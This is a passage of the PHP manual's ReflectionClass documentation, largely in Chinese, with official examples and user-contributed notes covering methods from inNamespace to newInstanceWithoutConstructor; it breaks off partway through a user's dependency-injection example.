//checks that whether class Fruit implements interface apple or not

interface Apple {

    function taste();
}

class Fruit implements Apple {

    function taste() {
        echo "Seet";
    }
}

$obj=new ReflectionClass('Fruit');
var_dump($obj->implementsInterface('Apple'));  //Here it will checks that whether class Fruit implements interface apple or not


检查是否位于命名空间中

  • ? ReflectionClass::implementsInterface
  • ReflectionClass::isAbstract ?
  • PHP Manual
  • ReflectionClass
  • 检查是否位于命名空间中

ReflectionClass::inNamespace

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionClass::inNamespace — 检查是否位于命名空间中

说明

public ReflectionClass::inNamespace(): bool

检查这个类是否定义于一个命名空间中里。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::inNamespace() 示例

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

以上示例会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getNamespaceName() - 获取命名空间的名称
  • PHP Namespaces

User Contributed Notes

There are no user contributed notes for this page.


检查类是否是抽象类（abstract）

  • ? ReflectionClass::inNamespace
  • ReflectionClass::isAnonymous ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否是抽象类（abstract）

ReflectionClass::isAbstract

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isAbstract — 检查类是否是抽象类（abstract）

说明

public ReflectionClass::isAbstract(): bool

检查这个类是否是抽象类（abstract）。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isAbstract() 示例

<?php
class TestClass { }
abstract class TestAbstractClass { }

$testClass = new ReflectionClass('TestClass');
$abstractClass = new ReflectionClass('TestAbstractClass');

var_dump($testClass->isAbstract());
var_dump($abstractClass->isAbstract());
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • 类的抽象

User Contributed Notes

baptiste at pillot dot fr 15-Sep-2023 01:06
For traits:
- ReflectionClass::isAbstract returns true if the trait contains at least one un-implemented abstract method, including those declared into used traits.
- ReflectionClass::isAbstract returns false if all methods are implemented.

<?php
trait TI { public function has() {} }
var_dump((new ReflectionClass(TI::class))->isAbstract());

trait TT { abstract public function has(); }
trait T { use TT; }
var_dump((new ReflectionClass(T::class))->isAbstract());
?>
Will output:
bool(false)
bool(true)

For interfaces:
- ReflectionClass::isAbstract returns true if the interface contains at least one method, including into its extended interfaces.
- ReflectionClass::isAbstract returns false if the interface contains no method.

<?php
interface AI {}
var_dump((new ReflectionClass(AI::class))->isAbstract());

interface II { public function has(); }
interface I extends II {}
var_dump((new ReflectionClass(I::class))->isAbstract());
?>
Will output:
bool(false)
bool(true)

For classes:
- Reflection::isAbstract returns true if the class is marked as abstract, no matter if it contains abstract methods or not.
baptiste at pillot dot fr 10-Oct-2016 12:06
For interfaces and traits :

<?php
interface TestInterface { }
trait     TestTrait { }

$interfaceClass = new ReflectionClass('TestInterface');
$traitClass     = new ReflectionClass('TestTrait');

var_dump($interfaceClass->isAbstract());
var_dump($traitClass->isAbstract());
?>

Using PHP versions 5.4- to 5.6, the above example will output:

bool(false)
bool(true)

Using PHP versions 7.0+, the above example will output:

bool(false)
bool(false)


检查类是否是匿名类

  • ? ReflectionClass::isAbstract
  • ReflectionClass::isCloneable ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否是匿名类

ReflectionClass::isAnonymous

(PHP 7, PHP 8)

ReflectionClass::isAnonymous — 检查类是否是匿名类

说明

public ReflectionClass::isAnonymous(): bool

检查类是否是匿名类。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isAnonymous() 示例

<?php
class TestClass {}
$anonClass = new class {};

$normalClass = new ReflectionClass('TestClass');
$anonClass = new ReflectionClass($anonClass);

var_dump($normalClass->isAnonymous());
var_dump($anonClass->isAnonymous());

?>

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isFinal() - 检查类是否声明为 final

User Contributed Notes

There are no user contributed notes for this page.


返回了一个类是否可复制

  • ? ReflectionClass::isAnonymous
  • ReflectionClass::isEnum ?
  • PHP Manual
  • ReflectionClass
  • 返回了一个类是否可复制

ReflectionClass::isCloneable

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::isCloneable — 返回了一个类是否可复制

说明

public ReflectionClass::isCloneable(): bool

返回了这个类是否可复制。

参数

此函数没有参数。

返回值

如果这个类可以复制返回 true，否则返回 false。

示例

Example #1 ReflectionClass::isCloneable() 的基本用法

<?php
class NotCloneable {
public $var1;

private function __clone() {
}
}

class Cloneable {
public $var1;
}

$notCloneable = new ReflectionClass('NotCloneable');
$cloneable = new ReflectionClass('Cloneable');

var_dump($notCloneable->isCloneable());
var_dump($cloneable->isCloneable());
?>

以上示例会输出：

bool(false)
bool(true)

User Contributed Notes

info at ensostudio dot ru 28-Aug-2022 04:36
similar function:
<?php
function isCloneable(object $obj): bool
{
       return !method_exists($obj, '__clone') || is_callable([$obj, '__clone']);
}
?>
info at ensostudio dot ru 28-Aug-2022 04:01
this method checks is  `__clone()`  method was declared as private
xxxargonxxx at gmail dot com 12-Sep-2019 05:05
I wonder how this method decides of is it clonable or not. There is no explanation.
php at abiusx dot com 18-Aug-2016 04:29
This does not work for many of core-classes, just like most other reflection methods.


Returns whether this is an enum

  • ? ReflectionClass::isCloneable
  • ReflectionClass::isFinal ?
  • PHP Manual
  • ReflectionClass
  • Returns whether this is an enum

ReflectionClass::isEnum

(PHP 8 >= 8.1.0)

ReflectionClass::isEnum — Returns whether this is an enum

说明

public ReflectionClass::isEnum(): bool

Checks if a class is an enum.

参数

此函数没有参数。

返回值

Returns true if this is an enum, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


检查类是否声明为 final

  • ? ReflectionClass::isEnum
  • ReflectionClass::isInstance ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否声明为 final

ReflectionClass::isFinal

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isFinal — 检查类是否声明为 final

说明

public ReflectionClass::isFinal(): bool

检查类是否声明为 final。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isFinal() 示例

<?php
class TestClass { }
final class TestFinalClass { }

$normalClass = new ReflectionClass('TestClass');
$finalClass = new ReflectionClass('TestFinalClass');

var_dump($normalClass->isFinal());
var_dump($finalClass->isFinal());

?>

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isAbstract() - 检查类是否是抽象类（abstract）
  • Final 关键字

User Contributed Notes

There are no user contributed notes for this page.


检查类的实例

  • ? ReflectionClass::isFinal
  • ReflectionClass::isInstantiable ?
  • PHP Manual
  • ReflectionClass
  • 检查类的实例

ReflectionClass::isInstance

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInstance — 检查类的实例

说明

public ReflectionClass::isInstance(object $object): bool

检查对象是否为一个类的实例。

参数

object

待比较的对象。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isInstance() 相关示例

<?php
// Example usage
$class = new ReflectionClass('Foo');

if ($class->isInstance($arg)) {
echo "Yes";
}

// Equivalent to
if ($arg instanceof Foo) {
echo "Yes";
}

// Equivalent to
if (is_a($arg, 'Foo')) {
echo "Yes";
}
?>

以上示例的输出类似于：

Yes
Yes
Yes

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • 类型运算符（instanceof）
  • 对象接口
  • is_a() - 检查对象是否属于一个给定的类型或子类型。

User Contributed Notes

dhairya lakhera 11-Feb-2016 04:55
class  TestClass { }

$TestObj=new TestClass();

$TestObj_assigned=$TestObj;
$TestObj_Refrenced=&$TestObj;
$TestObj_cloned=clone $TestObj;

$obj=new ReflectionClass('TestClass');

var_dump($obj->isInstance($TestObj));
var_dump($obj->isInstance($TestObj_assigned));
var_dump($obj->isInstance($TestObj_Refrenced));
var_dump($obj->isInstance($TestObj_cloned));


检查类是否可实例化

  • ? ReflectionClass::isInstance
  • ReflectionClass::isInterface ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否可实例化

ReflectionClass::isInstantiable

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInstantiable — 检查类是否可实例化

说明

public ReflectionClass::isInstantiable(): bool

检查这个类是否可实例化。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isInstantiable() 示例

<?php
class C { }

interface iface {
function f1();
}

class ifaceImpl implements iface {
function f1() {}
}

abstract class abstractClass {
function f1() { }
abstract function f2();
}

class D extends abstractClass {
function f2() { }
}

trait T {
function f1() {}
}

class privateConstructor {
private function __construct() { }
}

$classes = array(
"C",
"iface",
"ifaceImpl",
"abstractClass",
"D",
"T",
"privateConstructor",
);

foreach($classes as $class ) {
$reflectionClass = new ReflectionClass($class);
echo "Is $class instantiable? ";
var_dump($reflectionClass->isInstantiable());
}

?>

以上示例会输出：

Is C instantiable?  bool(true)
Is iface instantiable?  bool(false)
Is ifaceImpl instantiable?  bool(true)
Is abstractClass instantiable?  bool(false)
Is D instantiable?  bool(true)
Is T instantiable?  bool(false)
Is privateConstructor instantiable?  bool(false)

参见

  • ReflectionClass::isInstance() - 检查类的实例

User Contributed Notes

shaun at slickdesign dot com dot au 19-Apr-2018 05:37
An example missing from the documentation is that `ReflectionClass::isInstantiable` will also return false for traits, as well as interfaces and abstract classes.

<?php
trait t {
    // Optional trait methods and properties etc.
}

$reflectionClass = new ReflectionClass("t");
var_dump($reflectionClass->isInstantiable()); // bool(false)
?>

As for classes with private constructors, it is still possible to create an instance by either bypassing the constructor using `ReflectionClass::newInstanceWithoutConstructor`, or by ensuring the class has a method which can create a new instance.

<?php
class p {
    private function __construct() {
        // Optional constructor logic - not called when ReflectionClass::newInstanceWithoutConstructor is used.
    }

    public static function create() {
        return new p;
    }

    // Optional methods and properties etc.
}

// Class is not classed as instantiable.
$reflectionClass = new ReflectionClass("p");
var_dump($reflectionClass->isInstantiable()); // bool(false)

// We're still able to create an instance using one of the two methods.
$p = p::create();
$p = $reflectionClass->newInstanceWithoutConstructor();
?>

The same is also true for protected constructors, however, the class can be instantiated from either parent or child methods, depending on where the constructor is defined.

<?php
class p {
    protected function __construct() {
        // Optional constructor logic.
    }

    public static function create( $class = "" ) {
        if (!$class) {
            $class = get_called_class();
        }
        return new $class;
    }

    // Optional parent methods and properties etc.
}

class c extends p
{
    // Optional child methods and properties etc.
}

// Both child and parent static methods have access to each other's protected constructor.
$p = c::create("p");
$c = p::create("c");

// Both are still not classed as being instantiable.
$reflectionClassP = new ReflectionClass("p");
$reflectionClassC = new ReflectionClass("c");
var_dump($reflectionClassP->isInstantiable()); // bool(false)
var_dump($reflectionClassC->isInstantiable()); // bool(false)

// We're still able to bypass the constructor and create an instance for each.
$p = $reflectionClassP->newInstanceWithoutConstructor();
$c = $reflectionClassC->newInstanceWithoutConstructor();
?>


检查类是否是一个接口（interface）

  • ? ReflectionClass::isInstantiable
  • ReflectionClass::isInternal ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否是一个接口（interface）

ReflectionClass::isInterface

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInterface — 检查类是否是一个接口（interface）

说明

public ReflectionClass::isInterface(): bool

检查类是否是一个接口（interface）。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isInterface() 基本用法

<?php
interface SomeInterface {
public function interfaceMethod();
}

$class = new ReflectionClass('SomeInterface');
var_dump($class->isInterface());
?>

以上示例会输出：

bool(true)

参见

  • ReflectionClass::isInstance() - 检查类的实例

User Contributed Notes

There are no user contributed notes for this page.


检查类是否由扩展或核心在内部定义

  • ? ReflectionClass::isInterface
  • ReflectionClass::isIterable ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否由扩展或核心在内部定义

ReflectionClass::isInternal

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义

说明

public ReflectionClass::isInternal(): bool

检查类是否由扩展或核心在内部定义，与用户定义相反。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ReflectionClass::isInternal() 的基本用法

<?php
$internalclass = new ReflectionClass('ReflectionClass');

class Apple {}
$userclass = new ReflectionClass('Apple');

var_dump($internalclass->isInternal());
var_dump($userclass->isInternal());
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • ReflectionClass::isUserDefined() - 检查是否由用户定义的

User Contributed Notes

There are no user contributed notes for this page.


Check whether this class is iterable

  • ? ReflectionClass::isInternal
  • ReflectionClass::isIterateable ?
  • PHP Manual
  • ReflectionClass
  • Check whether this class is iterable

ReflectionClass::isIterable

(PHP 7 >= 7.2.0, PHP 8)

ReflectionClass::isIterable — Check whether this class is iterable

说明

public ReflectionClass::isIterable(): bool

Check whether this class is iterable (i.e. can be used inside foreach).

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic ReflectionClass::isIterable() Usage

<?php

class IteratorClass implements Iterator {
public function __construct() { }
public function key() { }
public function current() { }
function next() { }
function valid() { }
function rewind() { }
}
class DerivedClass extends IteratorClass { }
class NonIterator { }

function dump_iterable($class) {
$reflection = new ReflectionClass($class);
var_dump($reflection->isIterable());
}

$classes = array("ArrayObject", "IteratorClass", "DerivedClass", "NonIterator");

foreach ($classes as $class) {
echo "Is $class iterable? ";
dump_iterable($class);
}
?>

以上示例会输出：

Is ArrayObject iterable? bool(true)
Is IteratorClass iterable? bool(true)
Is DerivedClass iterable? bool(true)
Is NonIterator iterable? bool(false)

参见

  • ReflectionClass::__construct() - 初始化 ReflectionClass 类

User Contributed Notes

There are no user contributed notes for this page.


别名 ReflectionClass::isIterable

  • ? ReflectionClass::isIterable
  • ReflectionClass::isReadOnly ?
  • PHP Manual
  • ReflectionClass
  • 别名 ReflectionClass::isIterable

ReflectionClass::isIterateable

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isIterateable — 别名 ReflectionClass::isIterable()

说明

别名 ReflectionClass::isIterable()

自 PHP 7.2.0 起，应该首选 RefectionClass::isIterable()，而不是拼写错误的 ReflectionClass::isIterateable()。

User Contributed Notes

There are no user contributed notes for this page.


Checks if class is readonly

  • ? ReflectionClass::isIterateable
  • ReflectionClass::isSubclassOf ?
  • PHP Manual
  • ReflectionClass
  • Checks if class is readonly

ReflectionClass::isReadOnly

(PHP 8 >= 8.2.0)

ReflectionClass::isReadOnly — Checks if class is readonly

说明

public ReflectionClass::isReadOnly(): bool

Checks if a class is readonly.

参数

此函数没有参数。

返回值

true if a class is readonly, false otherwise.

示例

Example #1 ReflectionClass::isReadOnly() example

<?php
class TestClass { }
readonly class TestReadOnlyClass { }

$normalClass = new ReflectionClass('TestClass');
$readonlyClass = new ReflectionClass('TestReadOnlyClass');

var_dump($normalClass->isReadOnly());
var_dump($readonlyClass->isReadOnly());

?>

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isAbstract() - 检查类是否是抽象类（abstract）
  • Readonly classes

User Contributed Notes

There are no user contributed notes for this page.


检查是否为子类

  • ? ReflectionClass::isReadOnly
  • ReflectionClass::isTrait ?
  • PHP Manual
  • ReflectionClass
  • 检查是否为子类

ReflectionClass::isSubclassOf

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isSubclassOf — 检查是否为子类

说明

public ReflectionClass::isSubclassOf(ReflectionClass|string $class): bool

检查类是否为指定类的子类，或者实现了指定的接口。

参数

class

要检查的 string 形式的类名或者类的 ReflectionClass 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • ReflectionClass::implementsInterface() - 实现接口
  • is_subclass_of() - 检查对象是否继承或者实现（implement）此类
  • get_parent_class() - 检索对象或者类的父级类名

User Contributed Notes

voitcus at gmail dot com 23-Oct-2019 06:02
Note, that this method is a bit different than the `instanceof` operator, which returns true, when it is a subclass or the very same class (interface). Here, only being a subclass results in true, eg.

class A {}
class B extends A {}

$a = new ReflectionClass('A');
$AA = new A;
$b = new ReflectionClass('B');
$BB = new B;

var_dump($a->isSubclassOf($b)); // false
var_dump($AA instanceof $BB); // false

var_dump($b->isSubclassOf($a)); // true
var_dump($BB instanceof $AA); // true

var_dump($a->isSubclassOf($a)); // false
var_dump($AA instanceof $AA); // true
dhairya lakhera 11-Feb-2016 05:22
class A {}
class B {}
class C extends B {}

$obj=new ReflectionClass('C');

var_dump($obj->isSubclassOf ('A')); //boolean false
var_dump($obj->isSubclassOf ('B')); //boolean true


返回了是否是 trait

  • ? ReflectionClass::isSubclassOf
  • ReflectionClass::isUserDefined ?
  • PHP Manual
  • ReflectionClass
  • 返回了是否是 trait

ReflectionClass::isTrait

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::isTrait — 返回了是否是 trait

说明

public ReflectionClass::isTrait(): bool

检查 ReflectionClass 是否指向 trait。

参数

此函数没有参数。

返回值

如果是 trait 返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


检查是否由用户定义的

  • ? ReflectionClass::isTrait
  • ReflectionClass::newInstance ?
  • PHP Manual
  • ReflectionClass
  • 检查是否由用户定义的

ReflectionClass::isUserDefined

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isUserDefined — 检查是否由用户定义的

说明

public ReflectionClass::isUserDefined(): bool

检查一个类是否由用户定义，和内置相对。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ReflectionClass::isInternal() - 检查类是否由扩展或核心在内部定义

User Contributed Notes

dhairya lakhera 11-Feb-2016 05:38
$internalclass = new ReflectionClass('ReflectionClass');

class Apple {}
$userclass = new ReflectionClass('Apple');

var_dump($internalclass->isUserDefined());
var_dump($userclass->isUserDefined());


从指定的参数创建新类实例

  • ? ReflectionClass::isUserDefined
  • ReflectionClass::newInstanceArgs ?
  • PHP Manual
  • ReflectionClass
  • 从指定的参数创建新类实例

ReflectionClass::newInstance

(PHP 5, PHP 7, PHP 8)

ReflectionClass::newInstance — 从指定的参数创建新类实例

说明

public ReflectionClass::newInstance(mixed ...$args): object

创建类的新的实例。给出的参数将会传递到类的构造函数。

参数

args

接受可变数目的参数，用于传递到类的构造函数，和 call_user_func() 很相似。

返回值

错误／异常

如果类的构造函数不是 public 的将会导致一个 ReflectionException。

当 args 指定了一个或多个参数，而类不具有构造函数时,将导致一个 ReflectionException。

参见

  • ReflectionClass::newInstanceArgs() - 从给出的参数创建一个新的类实例
  • ReflectionClass::newInstanceWithoutConstructor() - 创建新的类实例而不调用它的构造函数

User Contributed Notes

glen at delfi dot ee 07-Oct-2015 11:19
looks like reflection class newInstance creates in memory representation of code where values are used, so using reference as constructor signature, you can not use this method.

as  the same input if called via new, or new $class works, but not via reflection:

 class a {
     public function __construct(&$a, $c) {
     }
 }

// this works
 $A = new stdClass();
 $a = new a($A, 11);

 // also this works
 $classname = "a";
 $a = new $classname($A, 10);

 // but this fails:
 $r = new ReflectionClass("a");
 $r->newInstance($A, 10);

 PHP Warning:  Parameter 1 to a::__construct() expected to be a reference, value given in reflection.php on line 15

 PHP Warning:  ReflectionClass::newInstance(): Invocation of a's constructor failed in reflection.php on line 15


从给出的参数创建一个新的类实例

  • ? ReflectionClass::newInstance
  • ReflectionClass::newInstanceWithoutConstructor ?
  • PHP Manual
  • ReflectionClass
  • 从给出的参数创建一个新的类实例

ReflectionClass::newInstanceArgs

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例

说明

public ReflectionClass::newInstanceArgs(array $args = []): ?object

创建一个类的新实例，给出的参数将传递到类的构造函数。

参数

args

这个参数以 array 形式传递到类的构造函数。

返回值

返回类的新实例，失败时返回 null。

错误／异常

如果类的构造函数不是 public 的将导致产生 ReflectionException。

当 args 指定了一个或多个参数，而类不具有构造函数时,将导致 ReflectionException。

示例

Example #1 ReflectionClass::newInstanceArgs() 的基本用法

<?php
$class = new ReflectionClass('ReflectionFunction');
$instance = $class->newInstanceArgs(array('substr'));
var_dump($instance);
?>

以上示例会输出：

object(ReflectionFunction)#2 (1) {
  ["name"]=>
  string(6) "substr"
}

参见

  • ReflectionClass::newInstance() - 从指定的参数创建新类实例
  • ReflectionClass::newInstanceWithoutConstructor() - 创建新的类实例而不调用它的构造函数

User Contributed Notes

kirillsaksin at no-spam dot yandex dot ru 10-Nov-2015 05:59
Hack to properly instantiate class with private constructor:

<?php

class TestClass
{
    private $property;
    private function __construct($argument)
    {
        $this->property = $argument;
    }
}

$ref = new ReflectionClass(TestClass::class);
$instance = $ref->newInstanceWithoutConstructor();
var_dump($instance);
echo PHP_EOL . '------------------------' . PHP_EOL . PHP_EOL;
$constructor = $ref->getConstructor();
$constructor->setAccessible(true);
$constructor->invokeArgs($instance, ['It works!']);
var_dump($instance);

// Output:
// class TestClass#3 (1) {
//   private $property =>
//   NULL
// }
//
// ------------------------
//
// class TestClass#3 (1) {
//   private $property =>
//   string(9) "It works!"
// }

?>
dev at yopmail dot com 04-Jul-2015 03:06
With PHP 5.6, we can use the ... (T_ELLIPSIS) operator

<?php

class Test {
    public function __construct($a, $b) {
        echo $a . ' ' . $b;
    }
}

$args = array(12, 34);
new Test(... $args); // Displays "12 34"

?>
foxbunny 11-Dec-2010 07:23
It should be noted that the the values in the array are mapped to constructor arguments positionally, rather than by name, so using an associative array will not make any difference.
talk at stephensugden dot com 30-Oct-2010 03:17
This is the way I dynamically instantiate objects in my lightweight IoC container

<?php

class SimpleContainer {

  // ...

  // Creates an instance of an object with the provided array of arguments
  protected function instantiate($name, $args=array()){
    if(empty($args))
      return new $name();
    else {
      $ref = new ReflectionClass($name);
      return $ref->newInstanceArgs($args);
    }
  }
  // ...
}
?>

I explicitly do NOT handle the case where a user passes constructor arguments for a constructor-less class, as I this SHOULD fail.
sausage at tehsausage dot com 21-Aug-2010 04:14
Annoyingly, this will throw an exception for classes with no constructor even if you pass an empty array for the arguments. For generic programming you should avoid this function and use call_user_func_array with newInstance.
sarfraznawaz2005 at gmail dot com 14-Dec-2009 11:31
I use reflection class and also detect whether arguments are passed by reference or passed by value
and then initiate/call the method successfully with those arguments:

<?php
    if (count($args) > 1)
    {
        if (method_exists($class_name,  '__construct') === false)
        {
            exit("Constructor for the class <strong>$class_name</strong> does not exist, you should not pass arguments to the constructor of this class!");
        }

        $refMethod = new ReflectionMethod($class_name,  '__construct');
        $params = $refMethod->getParameters();

        $re_args = array();

        foreach($params as $key => $param)
        {
            if ($param->isPassedByReference())
            {
                $re_args[$key] = &$args[$key];
            }
            else
            {
                $re_args[$key] = $args[$key];
            }
        }

        $refClass = new ReflectionClass($class_name);
        $class_instance = $refClass->newInstanceArgs((array) $re_args);
    }
?>
kevinpeno at gmail dot com 16-Sep-2009 08:11
I misunderstood this function to be a sort of setter of Reflection::newInstance() arguments in an array form rather than a creator of new instances itself.

This function is equivilant to call_user_func_array() while Reflection::newInstance() is equivilant to call_user_func()
richardcook at gmail dot com 12-Apr-2009 02:39
the newInstanceArgs function cannot call a class' constructor if it has references in its arguments, so be careful what you pass into it:

<?php
class Foo {
    function __construct (&$arr) {
        $this->arr = &$arr;
    }
    function createInstance () {
        $reflectionClass = new ReflectionClass("Bar");

        return $reflectionClass->newInstanceArgs(array($this, $this->arr));
    }
    function mod($key, $val) {
        $this->arr[$key] = $val;
    }
}

class Bar {
    function __construct (&$foo, &$arr) {
        $this->foo = &$foo;
        $this->arr = &$arr;
    }
    function mod($key, $val) {
        $this->arr[$key] = $val;
    }
}

$arr = array();

$foo = new Foo($arr);

$arr["x"] = 1;

$foo->mod("y", 2);

$bar = $foo->createInstance();

$bar->mod("z", 3);

echo "<pre>";
print_r($arr);
print_r($foo);
print_r($bar);
echo "</pre>";

/*
Output:
Warning: Invocation of Bar's constructor failed in [code path] on line 31

Fatal error: Call to a member function mod() on a non-object in [code path] on line 58
*/
?>
gromit at mailinator dot com 29-Jul-2008 01:37
Be aware that calling the method newInstanceArgs with an empty array will still call the constructor with no arguments. If the class has no constructor then it will generate an exception.

You need to check if a constructor exists before calling this method or use try and catch to act on the exception.


创建新的类实例而不调用它的构造函数

  • ? ReflectionClass::newInstanceArgs
  • ReflectionClass::setStaticPropertyValue ?
  • PHP Manual
  • ReflectionClass
  • 创建新的类实例而不调用它的构造函数

ReflectionClass::newInstanceWithoutConstructor

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::newInstanceWithoutConstructor — 创建新的类实例而不调用它的构造函数

说明

public ReflectionClass::newInstanceWithoutConstructor(): object

创建一个新的类的实例而不调用它的构造函数。

参数

返回值

错误／异常

如果这个类是必须调用构造函数来实例化的内置类，将导致 ReflectionException。此异常仅限于 final 的内置类。

参见

  • ReflectionClass::newInstance() - 从指定的参数创建新类实例
  • ReflectionClass::newInstanceArgs() - 从给出的参数创建一个新的类实例

User Contributed Notes

benoit dot wery at online dot fr 28-Oct-2023 08:04
Using ReflectionClass::newInstanceWithoutConstructor and ReflectionProperty::setValue allow to set a value for a readonly promoted property. For example this code works (tested on PHP 8.2) :

<?php

class Test
{
    public function __construct(public readonly string $name)
    {}
}

$test1 = new Test('test1');
$reflectionProperty = new ReflectionProperty(Test::class, 'name');
// next line would throw a Fatal error
$reflectionProperty->setValue($test1, 'error');

$reflectionClass = new ReflectionClass(Test::class);
$test2 = $reflectionClass->newInstanceWithoutConstructor();
$reflectionProperty->setValue($test2, 'test2');

echo $test2->name; // will output "test2"
ben at NOSPAM dot fanmade dot de 17-Feb-2021 07:51
Such a function should definitely end up in productive code as rarely as possible.
There are always exceptions though :)
We have UseCase classes in our library extending an abstract UseCase having a constructor that does some setting up and it will even throw exceptions if some specific conditions are not yet met.
Within that UseCase the permissions are also defined.
Simplified example:
<?php
abstract class UseCase implements IUseCase
{
    /** @var string[] */
    protected array $requiredPermissions = [];

    final public function __construct(IPresenter $out)
    {
        // several startup checks, including authorization
    }
}
?>
We already have a better solution, but it will take some time to refactor that and we will have to live with this for at least a few weeks.
Now I've had the idea to check the permissions in the application's incoming request way before the individual UseCase will be initialized.
So after seeing this method here I just introduced this little helper into our abstract UseCase:
<?php
    public static function getRequiredPermissions(): array
    {
        $class = new ReflectionClass(get_called_class());

        return $class->newInstanceWithoutConstructor()->requiredPermissions;
    }
?>
Now I'm able to check the permissions in my request without really touching anything in the library:
<?php
    public function authorize(): bool
    {
        if (!$this->user->hasPermissions(CreatePost::getRequiredPermissions())) {
            return false;
        }
        return true;
    }
?>
This does also have the benefit of adding one more reason to switch to our new UseCase classes ASAP :)
260 at ciemnosc 06-Feb-2016 02:11
sorry for replying to such an old comment, but there's something i wanted to point out.

@  tom at r dot je:
While I agree with what you said in general, there *are* cases where it's not true, and since PHP doesn't allow for multiple constructors there's no other good way around it.

> The problem? It breaks encapsulation.
> An object can exist in the application but may not be able to fulfill its
> responsibility because it's missing dependencies.
> The use of this method makes it possible for an incomplete object
> to exist in the system;
> the object can exist in a state that its author never intended.

If you're using this method from some factory method, to manually init the object in other way that the constructor that, this point is no longer valid.

Consider the example, where you use constructor to set-up the object after getting it from database (e.g. you need to pull some array from other table, basing on some id parameter). But you want to also be able to create object manually (for inserting to the database, for example).
The best thing to do would be to have two different constructors, but since it is not possible in php you need some other way to create the object.

example:

<?php
// this usually would be a static cache in some class, or array returned by method getMeta($id), etc.
$meta = array(1337 => array('key1' => 'value1', 'key2' => 'value2'));

class Test {
    public $id;
    public $data;
    public $meta;

    public function __construct() {
        global $meta;
        if(is_int($this->id)) $this->meta = $meta[$this->id];
    }
    public static function create_empty() {
        $r = new ReflectionClass(__CLASS__);
        return $r->newInstanceWithoutConstructor();
    }
}
echo "emulating PDO::FETCH_CLASS behavior: ";
$t = Test::create_empty();
$t->meta = 1337;
$t->__construct();
var_dump($t);

echo "empty class: ";
$testItem = Test::create_empty();
// ... here you can start setting up the item, e.g. from XML
var_dump($testItem);

$testItem->id = 0;
$testItem->data = "some data";
$testItem->meta = array("somekey" => "somevalue");

echo "after setup:";
var_dump($testItem);
?>

Of course, you can instead make empty constructor, and create some init() method, but then you have to remember to call init() everywhere.
You can also create some other way of adding the item to database, but then you'd have to classes to handle the same data - one for retrieving and other for storing.

If you instead use some factory class (or just a factory method, like in the simplified example above) having a way to create totally empty object is useful. With full factory approach you would first use some TestFactory->prepare() method, then you'd call methods to set what you need, and the factory would set all uninitialized variables to some default values upon calling TestFactory->get() to retrieve prepared object.
tom at r dot je 11-Jun-2013 09:53
It should be made clear that from an OOP theory perspective the use of this method is very bad practice in the same manner as goto, eval and singletons. If you find a need to use it in production code you're almost certainly doing something wrong somewhere. It may occasionally be useful for debugging, but even then hints at poor initial code.

The problem? It breaks encapsulation. An object can exist in the application but may not be able to fulfill its responsibility because it's missing dependencies. The use of this method makes it possible for an incomplete object to exist in the system; the object can exist in a state that its author never intended. This is bad because it will cause unexpected things to happen! A fundamental principle in OOP is that objects are in complete control of their state, the use of this method prevents that guarantee.

n.b. The annotation based "dependency injection" listed below is not a solution or valid use-case for this either because it breaks encapsulation (Among other things!) and the class being constructed needs to know of the container by providing annotations.
me [ata] thomas-lauria.de 28-Apr-2012 06:51
This new Feature enables Annotation based Dependency Injection:
<?php

//dependency to inject
class dep {}

class a {
  /**
   * @inject
   * @var dep
